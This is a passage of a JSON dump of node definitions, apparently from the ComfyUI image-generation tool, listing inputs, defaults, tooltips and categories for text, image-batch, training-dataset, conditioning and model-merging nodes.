["STRING", {"tooltip": "Text to process.", "multiline": false}], "find": ["STRING", {"tooltip": "Text to find.", "default": "", "multiline": false}], "replace": ["STRING", {"tooltip": "Text to replace with.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "ReplaceText", "display_name": "Replace Text (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StripWhitespace": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "StripWhitespace", "display_name": "Strip Whitespace (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageDeduplication": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "similarity_threshold": ["FLOAT", {"tooltip": "Similarity threshold (0-1). Higher means more similar. Images above this threshold are considered duplicates.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["images", "similarity_threshold"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageDeduplication", "display_name": "Deduplicate Images", "description": "Remove duplicate or very similar images from a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["deduplicate", "remove duplicates", "similarity filter"], "essentials_category": null, "has_intermediate_output": false}, "ImageGrid": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "columns": ["INT", {"tooltip": "Number of columns in the grid.", "default": 4, "min": 1, "max": 20}], "cell_width": ["INT", {"tooltip": "Width of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "cell_height": ["INT", {"tooltip": "Height of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "padding": ["INT", {"tooltip": "Padding between images.", "advanced": true, "default": 4, "min": 0, "max": 50}]}}, "input_order": {"required": ["images", "columns", "cell_width", "cell_height", "padding"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageGrid", "display_name": "Make Image Grid", "description": "Arrange multiple images into a grid layout.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["grid", "collage", "combine"], "essentials_category": null, "has_intermediate_output": false}, "MergeImageLists": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}]}}, "input_order": {"required": ["images"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "MergeImageLists", "display_name": "Merge Image Lists (DEPRECATED)", "description": "Concatenate multiple image lists into one.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["list", "merge list", "make list"], "essentials_category": null, "has_intermediate_output": false}, "MergeTextLists": {"input": {"required": {"texts": ["STRING", {"tooltip": "List of texts to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": true, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "MergeTextLists", "display_name": "Merge Text Lists (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MakeTrainingDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to encode."}], "vae": ["VAE", {"tooltip": "VAE model for encoding images to latents."}], "clip": ["CLIP", {"tooltip": "CLIP model for encoding text to conditioning."}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions. Can be length n (matching images), 1 (repeated for all), or omitted (uses empty string).", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["images", "vae", "clip"], "optional": ["texts"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "MakeTrainingDataset", "display_name": "Make Training Dataset", "description": "Encode images with VAE and texts with CLIP to create a training dataset of latents and conditionings.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["encode dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveTrainingDataset": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts from MakeTrainingDataset."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists from MakeTrainingDataset."}], "folder_name": ["STRING", {"tooltip": "Name of folder to save dataset (inside output directory).", "default": "training_dataset", "multiline": false}], "shard_size": ["INT", {"tooltip": "Number of samples per shard file.", "advanced": true, "default": 1000, "min": 1, "max": 100000}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["latents", "conditioning", "folder_name", "shard_size"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveTrainingDataset", "display_name": "Save Training Dataset", "description": "Save encoded training dataset (latents + conditioning) to disk for efficient loading during training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export dataset", "save dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadTrainingDataset": {"input": {"required": {"folder_name": ["STRING", {"tooltip": "Name of folder containing the saved dataset (inside output directory).", "default": "training_dataset", "multiline": false}]}}, "input_order": {"required": ["folder_name"]}, "is_input_list": false, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "LoadTrainingDataset", "display_name": "Load Training Dataset", "description": "Load encoded training dataset (latents + conditioning) from disk for use in training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import dataset", "training data"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionBucket": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts to bucket by resolution."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists (must match latents length)."}]}}, "input_order": {"required": ["latents", "conditioning"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of batched latent dicts, one per resolution bucket.", "List of condition lists, one per resolution bucket."], "output_matchtypes": null, "name": "ResolutionBucket", "display_name": "Resolution Bucket", "description": "Group latents and conditionings into buckets", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bucket by resolution", "group by resolution", "batch by resolution"], "essentials_category": null, "has_intermediate_output": false}, "SelfAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 0.5, "min": -2.0, "max": 5.0, "step": 0.01}], "blur_sigma": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale", "blur_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelfAttentionGuidance", "display_name": "Self-Attention Guidance", "description": "", "python_module": "comfy_extras.nodes_sag", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNeg": {"input": {"required": {"model": ["MODEL", {}], "empty_conditioning": ["CONDITIONING", {}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "empty_conditioning", "neg_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNeg", "display_name": "Perp-Neg (DEPRECATED by Perp-Neg Guider)", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNegGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "empty_conditioning": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "empty_conditioning", "cfg", "neg_scale"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNegGuider", "display_name": "Perp-Neg Guider", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning_Batched": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "elevation_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth", "elevation_batch_increment", "azimuth_batch_increment"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning_Batched", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SV3D_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 21, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -90.0, "max": 90.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "elevation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SV3D_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable video 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SD_4XUpscale_Conditioning": {"input": {"required": {"images": ["IMAGE", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "scale_ratio": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["images", "positive", "negative", "scale_ratio", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SD_4XUpscale_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sdupscale", "category": "model/conditioning/stable diffusion upscaler", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerLoader": {"input": {"required": {"photomaker_model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["photomaker_model_name"]}, "is_input_list": false, "output": ["PHOTOMAKER"], "output_is_list": [false], "output_name": ["PHOTOMAKER"], "output_tooltips": [null], "output_matchtypes": null, "name": "PhotoMakerLoader", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerEncode": {"input": {"required": {"photomaker": ["PHOTOMAKER", {}], "image": ["IMAGE", {}], "clip": ["CLIP", {}], "text": ["STRING", {"default": "photograph of photomaker", "multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["photomaker", "image", "clip", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PhotoMakerEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodePixArtAlpha": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodePixArtAlpha", "display_name": "CLIP Text Encode (PixArt Alpha)", "description": "Encodes text and sets the resolution conditioning for PixArt Alpha. Does not apply to PixArt Sigma.", "python_module": "comfy_extras.nodes_pixart", "category": "model/conditioning/pixart", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["pixart prompt"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeControlnet": {"input": {"required": {"clip": ["CLIP", {}], "conditioning": ["CONDITIONING", {}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "conditioning", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "T5TokenizerOptions": {"input": {"required": {"clip": ["CLIP", {}], "min_padding": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}], "min_length": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}]}}, "input_order": {"required": ["clip", "min_padding", "min_length"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "T5TokenizerOptions", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Morphology": {"input": {"required": {"image": ["IMAGE", {}], "operation": ["COMBO", {"multiselect": false, "options": ["erode", "dilate", "open", "close", "gradient", "bottom_hat", "top_hat"]}], "kernel_size": ["INT", {"default": 3, "min": 3, "max": 999, "step": 1}]}}, "input_order": {"required": ["image", "operation", "kernel_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Morphology", "display_name": "Apply Morphology", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["erode", "dilate"], "essentials_category": null, "has_intermediate_output": false}, "ImageRGBToYUV": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["Y", "U", "V"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ImageRGBToYUV", "display_name": "Image RGB to YUV", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "ImageYUVToRGB": {"input": {"required": {"Y": ["IMAGE", {}], "U": ["IMAGE", {}], "V": ["IMAGE", {}]}}, "input_order": {"required": ["Y", "U", "V"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageYUVToRGB", "display_name": "Image YUV to RGB", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "StableCascade_EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "compression", "batch_size"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_EmptyLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageB_Conditioning": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "stage_c": ["LATENT", {}]}}, "input_order": {"required": ["conditioning", "stage_c"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StableCascade_StageB_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/conditioning/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageC_VAEEncode": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}]}}, "input_order": {"required": ["image", "vae", "compression"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_StageC_VAEEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_SuperResolutionControlnet": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["image", "vae"]}, "is_input_list": false, "output": ["IMAGE", "LATENT", "LATENT"], "output_is_list": [false, false, false], "output_name": ["controlnet_input", "stage_c", "stage_b"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableCascade_SuperResolutionControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "experimental/stable_cascade", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DifferentialDiffusion": {"input": {"required": {"model": ["MODEL", {}]}, "optional": {"strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model"], "optional": ["strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "DifferentialDiffusion", "display_name": "Differential Diffusion", "description": "", "python_module": "comfy_extras.nodes_differential_diffusion", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["inpaint gradient", "variable denoise strength"], "essentials_category": null, "has_intermediate_output": false}, "InstructPixToPixConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "pixels": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "InstructPixToPixConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ip2p", "category": "model/conditioning/instructpix2pix", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSD1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD1", "display_name": "ModelMergeSD1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", 